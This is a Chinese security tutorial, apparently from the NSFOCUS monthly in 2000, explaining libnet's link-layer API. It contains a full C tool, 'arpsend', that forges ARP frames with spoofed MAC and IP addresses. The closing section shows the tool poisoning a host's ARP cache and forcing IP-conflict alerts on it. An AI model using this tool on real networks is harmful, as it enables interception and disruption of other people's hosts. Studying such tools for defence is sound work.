首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第16期->技术专题
期刊号: 类型: 关键词:
libnet使用举例(12)

作者:小四 < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com
日期:2000-12-14

本系列1-11都是raw socket layer programming,今天介绍link layer programming,
下面是链路层编程用到的部分关键函数:

int libnet_build_ethernet ( u_char * daddr, u_char * saddr, u_short id,
                            const u_char * payload, int payload_s,
                            u_char * buf );

该函数用于构造以太网物理帧,daddr、saddr分别指向一个6字节数组,对应物理帧
的目标MAC、源MAC。id指定物理帧类型,有效值如下:

值                  代表的类型

ETHERTYPE_PUP       PUP protocol
ETHERTYPE_IP        IP protocol
ETHERTYPE_ARP       ARP protocol
ETHERTYPE_REVARP    Reverse ARP protocol
ETHERTYPE_VLAN      IEEE VLAN tagging
ETHERTYPE_LOOPBACK  Used to test intefaces

payload为NULL,payload_s为零。最后一个参数buf,指向通过libnet_init_packet
分配并初始化过的数据区,此时buf指向的实际是物理帧头。

必须意识到,某些链路层接口(比如BPF)不允许伪装物理帧源MAC,除非你自己更改内
核。

int libnet_build_arp ( u_short hrd, u_short pro, u_short hln, u_short pln,
                       u_short op, u_char * sha, u_char * spa, u_char * tha,
                       u_char * tpa, const u_char * payload, int payload_s,
                       u_char * buf );

该函数用于构造ARP报文。对于常见应用来说,hrd为ARPHRD_ETHER,pro为
ETHERTYPE_IP,hln为ETHER_ADDR_LEN(就是6,MAC地址长度),pln为4(IPv4地址长度),
op指定ARP操作类型,有效取值有ARPOP_REQUEST、ARPOP_REPLY、ARPOP_REVREQUEST、
ARPOP_REVREPLY、ARPOP_INVREQUEST 以及 ARPOP_INVREPLY,我不知道最后两种类型
是什么意思,这里op以主机字节序提供,比如0x0002就是ARPOP_REPLY。sha指定发送
方MAC地址,spa指定发送方IP地址,tha指定接收方MAC地址,tpa指定接收方IP地址,
payload为NULL,payload_s为零。形参buf需要指向一个已分配好的数据区,ARP层从
该指针开始。

struct libnet_link_int * libnet_open_link_interface ( char * device, char * ebuf );
int libnet_close_link_interface ( struct libnet_link_int * l );

如果需要直接发送链路层物理帧,必须事先使用libnet_open_link_interface()打开
接口设备。device指定接口设备名,对于Linux就是"eth0"一类的名字。ebuf通常定
义如下:

char err_buf[ LIBNET_ERRBUF_SIZE ];

/usr/include/libnet/libnet-macros.h:

#define LIBNET_ERRBUF_SIZE 256

如果调用失败返回NULL,成功则填充一个libnet_link_int结构,并返回这个结构指
针。libnet_close_link_interface()与libnet_open_link_interface()对应,关闭
先前打开的接口设备,失败返回-1,成功返回1。

int libnet_select_device ( struct sockaddr_in * sin, u_char ** device, u_char * ebuf );

如果你不能确定libnet_open_link_interface()第一形参使用什么样的接口设备名,
可以调用libnet_select_device()获取它。后者遍历接口链表,从中选择第一个可用
的非回送接口。sin、device不得为NULL,sin必须指向一个sockaddr_in结构,
device必须指向一个指针,*sin、*device的初值无所谓。调用成功返回1,*device
指向一个有效接口设备名,可以用于后续的libnet_open_link_interface()调用。失
败返回-1,ebuf将包含失败原因。

struct ether_addr * libnet_get_hwaddr ( struct libnet_link_int * l,
                                        const u_char * device,
                                        const u_char * ebuf );

第一形参来自libnet_open_link_interface(),device指向接口设备名。成功则返回
指定接口的MAC地址,失败返回0(NULL),ebuf将包含失败原因。

int libnet_write_link_layer ( struct libnet_link_int * l, const u_char * device,
                              u_char * buf, int len );

该函数用于直接发送链路层物理帧,第一形参来自libnet_open_link_interface(),
device指向接口设备名。buf指向物理帧头,一般由libnet_init_packet分配并初始
化,libnet_destroy_packet()负责释放。len指定物理帧长度。失败返回-1,否则返
回发送出去的字节数。

写个arpsend程序来验证这些可爱的函数,recvMac必须为真实有效的MAC地址,否则
谁接收呢。sendMac根据需要可以伪装,但链路层支持为BPF时无法伪装,除非自己更
改内核。关于ARP协议本身的讨论太多,不做进一步说明。没有提供随机数支持,如
果你自己有特殊需要,可以参看本系列1-11中反复使用的技术,也可以直接使用
libnet本身提供的libnet_seed_prand()、libnet_get_prand()函数。如果有时间,
会提供另外一个程序演示这两个随机函数。

--------------------------------------------------------------------------
/*
* File   : arpsend program for I386/Linux using libnet
* Version: 0.01 aleph
* Author : scz < mailto: scz@nsfocus.com >
*        : http://www.nsfocus.com
* Complie: gcc -O3 -o arpsend arpsend.c `libnet-config --defines --cflags` `libnet-config --libs` -Wall
* Usage  : ./arpsend --recv 000000111111 --si 192.168.8.90 --sm 000000222222 --num 30
* Date   : 2000-12-13 16:43
*/

/*******************************************************************
*                                                                 *
*                            Head File                            *
*                                                                 *
*******************************************************************/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>  /* for getopt() */
#include <libnet.h>

/*******************************************************************
*                                                                 *
*                            Macro                                *
*                                                                 *
*******************************************************************/

#define SUCCESS            0
#define FAILURE           -1
#define DEFAULTARPNUMBER   0x5  /* 缺省发送ARP报文数目 */

/*******************************************************************
*                                                                 *
*                       Static Global Var                         *
*                                                                 *
*******************************************************************/

static u_char *                 packet       = NULL;
static size_t                   packet_size  = LIBNET_ETH_H + LIBNET_ARP_H;
static struct libnet_link_int * link_handler = NULL;

/*******************************************************************
*                                                                 *
*                        Function Prototype                       *
*                                                                 *
*******************************************************************/

static void   Libnet_close_link_interface ( struct libnet_link_int * l );
/*
static void   Libnet_get_hwaddr           ( struct libnet_link_int * l, const u_char * device, u_char * mac );
*/
static void   Libnet_init_packet          ( size_t p_size, u_char ** buf );
static struct libnet_link_int * Libnet_open_link_interface ( char * device );
static void   Libnet_select_device        ( u_char ** device );
static void   Libnet_write_link_layer     ( struct libnet_link_int * l, const u_char * device, u_char * buf, int len );
static char * Strncpy                     ( char * dest, const char * src, size_t n );
static void   usage                       ( char * arg );

/*----------------------------------------------------------------------*/

static void Libnet_close_link_interface ( struct libnet_link_int * l )
{
    if ( libnet_close_link_interface( l ) == -1 )
    {   
        libnet_error( LIBNET_ERR_WARNING, "libnet_close_link_interface failed\n" );
    }
    return;
}  /* end of Libnet_close_link_interface */

/*
static void Libnet_get_hwaddr ( struct libnet_link_int * l, const u_char * device, u_char * mac )
{
    char                err_buf[ LIBNET_ERRBUF_SIZE ];
    struct ether_addr * m = NULL;

    if ( mac == NULL )
    {
        return;
    }
    m = libnet_get_hwaddr( l, device, err_buf );
    if ( m == NULL )
    {
        libnet_error( LIBNET_ERR_WARNING, "libnet_get_hwaddr failed: %s\n", err_buf );
    }
    else
    {
        memmove( mac, ( u_char * )m, 6 );
    }
    return;
}
*/

static void Libnet_init_packet ( size_t p_size, u_char ** buf )
{
    if ( libnet_init_packet( p_size, buf ) == -1 )
    {
        libnet_error( LIBNET_ERR_FATAL, "Can't initialize packet\n" );
    }
    return;
}  /* end of Libnet_init_packet */

static struct libnet_link_int * Libnet_open_link_interface ( char * device )
{
    struct libnet_link_int * link = NULL;
    char                     err_buf[ LIBNET_ERRBUF_SIZE ];

    if ( ( link = libnet_open_link_interface( device, err_buf ) ) == NULL )
    {
        libnet_error( LIBNET_ERR_FATAL, "libnet_open_link_interface failed: %s\n", err_buf );
    }
    return( link );
}  /* end of Libnet_open_link_interface */

static void Libnet_select_device ( u_char ** device )
{
    struct sockaddr_in sin;
    char               err_buf[ LIBNET_ERRBUF_SIZE ];

    if ( device == NULL )
    {
        libnet_error( LIBNET_ERR_FATAL, "Can't locate a device\n" );
    }
    if ( libnet_select_device( &sin, device, err_buf ) == -1 )
    {
        libnet_error( LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf );
    }
    fprintf( stderr, "[ device --> %s ]\n", *device );
    return;
}  /* end of Libnet_select_device */

static void Libnet_write_link_layer ( struct libnet_link_int * l,
                                      const u_char * device, u_char * buf, int len )
{
    int w;

    if ( ( w = libnet_write_link_layer( l, device, buf, len ) ) < len )
    {
        libnet_error( LIBNET_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", w );
    }
    return;
}  /* end of Libnet_write_link_layer */

static char * Strncpy ( char * dest, const char * src, size_t n )
{
    char * pChar;

    pChar = strncpy( dest, src, n );
    if ( pChar == NULL )
    {
        exit( FAILURE );
    }
    else
    {
        *( pChar + n - 1 ) = '\0';
    }
    return( pChar );
}  /* end of Strncpy */

static void usage ( char * arg )
{
    fprintf( stderr, " Usage: %s [--send sendMac] [--recv recvMac]\n\t"
                     "[--si srcIp] [--di dstIp] [--sm srcMac] [--dm dstMac]\n\t"
                     "[--arpOp arpOp] [--num arpNumber]\n", arg );
    exit( FAILURE );
}  /* end of usage */

int main ( int argc, char * argv[] )
{

#define LONGOPTIONCHAR '-'

    /* 定义长选项 */
    static struct option longOption[] =
    {
        { "send",  1, 0, LONGOPTIONCHAR },  /* 发送MAC      */
        { "recv",  1, 0, LONGOPTIONCHAR },  /* 接收MAC      */
        { "si",    1, 0, LONGOPTIONCHAR },  /* 源IP         */
        { "di",    1, 0, LONGOPTIONCHAR },  /* 目标IP       */
        { "sm",    1, 0, LONGOPTIONCHAR },  /* 源MAC        */
        { "dm",    1, 0, LONGOPTIONCHAR },  /* 目标MAC      */
        { "arpOp", 1, 0, LONGOPTIONCHAR },  /* ARP操作类型  */
        { "num",   1, 0, LONGOPTIONCHAR },  /* ARP报文数目  */
        { 0, 0, 0, 0 }
    };
    int              longOptionIndex  = 0;  /* 用于处理长选项 */
    u_char           sendMac[6]       = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
    u_char           recvMac[6]       = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
    u_char           srcMac[6]        = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
    u_char           dstMac[6]        = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
    u_long           srcIp            = 0xffffffff;  /* 源IP使用使用网络字节序指定 */
    u_long           dstIp            = 0xffffffff;
    u_short          arpOp            = ARPOP_REPLY;  /* little-endian 序 */
    u_long           arpNumber        = DEFAULTARPNUMBER;  /* ARP报文数目        */
    char             tempString1[16]  = "";
    char             tempString2[3]   = "";
    u_short          tempUshort       = 0;
    int              c, i;
    u_long           a;
    u_char *         device;

    if ( argc == 1 )
    {
        usage( argv[0] );
    }
    opterr = 0;  /* don't want getopt() writing to stderr */
    while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex  ) ) != EOF )
    {
        switch ( c )
        {
        case LONGOPTIONCHAR:  /* 处理长选项 */
            /*
            fprintf( stderr, "option %s", longOption[ longOptionIndex ].name );
            if ( optarg )
            {
                fprintf( stderr, " with arg %s", optarg );
            }
            fprintf( stderr, "\n" );
            */
            if ( optarg )
            {
                switch ( longOptionIndex )
                {
                case 0:
                    Strncpy( tempString1, optarg, 16 );
                    tempUshort = strlen( tempString1 );
                    if ( tempUshort == 12 )
                    {
                        tempString2[2] = '\0';
                        for ( i = 0; i < 6; i++ )
                        {
                            tempString2[0] = tempString1[ i << 1 ];
                            tempString2[1] = tempString1[ ( i << 1 ) + 1 ];
                            sendMac[ i ]   = ( u_char )strtoul( tempString2, NULL, 16 );
                        }  /* end of for */
                    }
                    break;
                case 1:
                    Strncpy( tempString1, optarg, 16 );
                    tempUshort = strlen( tempString1 );
                    if ( tempUshort == 12 )
                    {
                        tempString2[2] = '\0';
                        for ( i = 0; i < 6; i++ )
                        {
                            tempString2[0] = tempString1[ i << 1 ];
                            tempString2[1] = tempString1[ ( i << 1 ) + 1 ];
                            recvMac[ i ]   = ( u_char )strtoul( tempString2, NULL, 16 );
                        }  /* end of for */
                    }
                    break;
                case 2:
                    /* 返回值是big-endian序 */
                    srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
                    if ( srcIp == -1 )
                    {
                        libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s\n", optarg );
                    }
                    break;
                case 3:
                    /* 返回值是big-endian序 */
                    dstIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
                    if ( dstIp == -1 )
                    {
                        /* 第一个参数为LIBNET_ERR_FATAL,会导致exit */
                        libnet_error( LIBNET_ERR_FATAL, "Bad dstIp: %s\n", optarg );
                    }
                    break;
                case 4:
                    Strncpy( tempString1, optarg, 16 );
                    tempUshort = strlen( tempString1 );
                    if ( tempUshort == 12 )
                    {
                        tempString2[2] = '\0';
                        for ( i = 0; i < 6; i++ )
                        {
                            tempString2[0] = tempString1[ i << 1 ];
                            tempString2[1] = tempString1[ ( i << 1 ) + 1 ];
                            srcMac[ i ]    = ( u_char )strtoul( tempString2, NULL, 16 );
                        }  /* end of for */
                    }
                    break;
                case 5:
                    Strncpy( tempString1, optarg, 16 );
                    tempUshort = strlen( tempString1 );
                    if ( tempUshort == 12 )
                    {
                        tempString2[2] = '\0';
                        for ( i = 0; i < 6; i++ )
                        {
                            tempString2[0] = tempString1[ i << 1 ];
                            tempString2[1] = tempString1[ ( i << 1 ) + 1 ];
                            dstMac[ i ]    = ( u_char )strtoul( tempString2, NULL, 16 );
                        }  /* end of for */
                    }
                    break;
                case 6:
                    arpOp = ( u_short )strtoul( optarg, NULL, 10 );
                    break;
                case 7:  /* 采用10进制 */
                    arpNumber   = ( u_long )strtoul( optarg, NULL, 10 );
                    if ( arpNumber == 0 )
                    {
                        fprintf( stderr, "Check your arpNumber\n" );
                        exit( FAILURE );
                    }
                    break;
                default:
                    break;
                }  /* end of switch */
            }
            break;
        case 'h':
        case '?':
            usage( argv[0] );
        }  /* end of switch */
    }  /* end of while */
    Libnet_select_device( &device );  /* 选取接口设备 */
    Libnet_init_packet( packet_size, &packet );  /* 分配内存并初始化成零 */
    link_handler = Libnet_open_link_interface( device );  /* 打开链路层接口设备 */
    libnet_build_ethernet( recvMac, sendMac, ETHERTYPE_ARP, NULL, 0, packet );
    libnet_build_arp( ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, arpOp,
                      srcMac, ( u_char * )&srcIp, dstMac, ( u_char * )&dstIp,
                      NULL, 0, packet + LIBNET_ETH_H );
    for ( a = 0; a < arpNumber; a++ )
    {
        Libnet_write_link_layer( link_handler, device, packet, packet_size );
    }  /* end of for */
    Libnet_close_link_interface( link_handler );  /* 关闭链路层接口设备 */
    libnet_destroy_packet( &packet );  /* 释放由libnet_init_packet()分配的内存 */
    return( SUCCESS );
}  /* end of main */
--------------------------------------------------------------------------

Usage: ./arpsend [--send sendMac] [--recv recvMac]
       [--si srcIp] [--di dstIp] [--sm srcMac] [--dm dstMac]
       [--arpOp arpOp] [--num arpNumber]

--------------------------------------------------------------------------
从192.168.10.11 <--> 001051eeeeee 上执行如下操作:

# ./arpsend --recv 000000111111 --si 192.168.10.5 --di 192.168.8.90 --sm 000000222222
[ device --> eth0 ]
#

在192.168.8.90 <--> 000000111111 上执行arp -a看到:

Internet Address      Physical Address      Type
192.168.10.5          00-00-00-22-22-22     dynamic

意味着192.168.8.90的ARP CACHE被动态刷新了。

# ./arpsend --recv 000000111111 --si 192.168.8.90 --sm 000000222222

将导致192.168.8.90报告IP冲突。如果指定--num 30,搞掉Pwin9x屏保没有任何问题。

# ./arpsend --recv 000000111111 --di 192.168.8.90 --sm 000000333333 --arpOp 1

00 00 00 11 11 11 ff ff ff ff ff ff 08 06 00 01
08 00 06 04 00 01 00 00 00 33 33 33 ff ff ff ff
ff ff ff ff ff ff c0 a8 08 5a 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

192.168.8.90收到5个伪装过的ARP请求报文,并响应以5个ARP响应报文,响应报文描
述如下:

00 00 00 33 33 33 00 00 00 11 11 11 08 06 00 01
08 00 06 04 00 02 00 00 00 11 11 11 c0 a8 08 5a
00 00 00 33 33 33 ff ff ff ff
--------------------------------------------------------------------------

程序本身很没意思,主要是给出一个libnet链路层编程的感性认识,显然在以后的应
用中会用到这里演示的某些技术。

<待续>

版权所有,未经许可,不得转载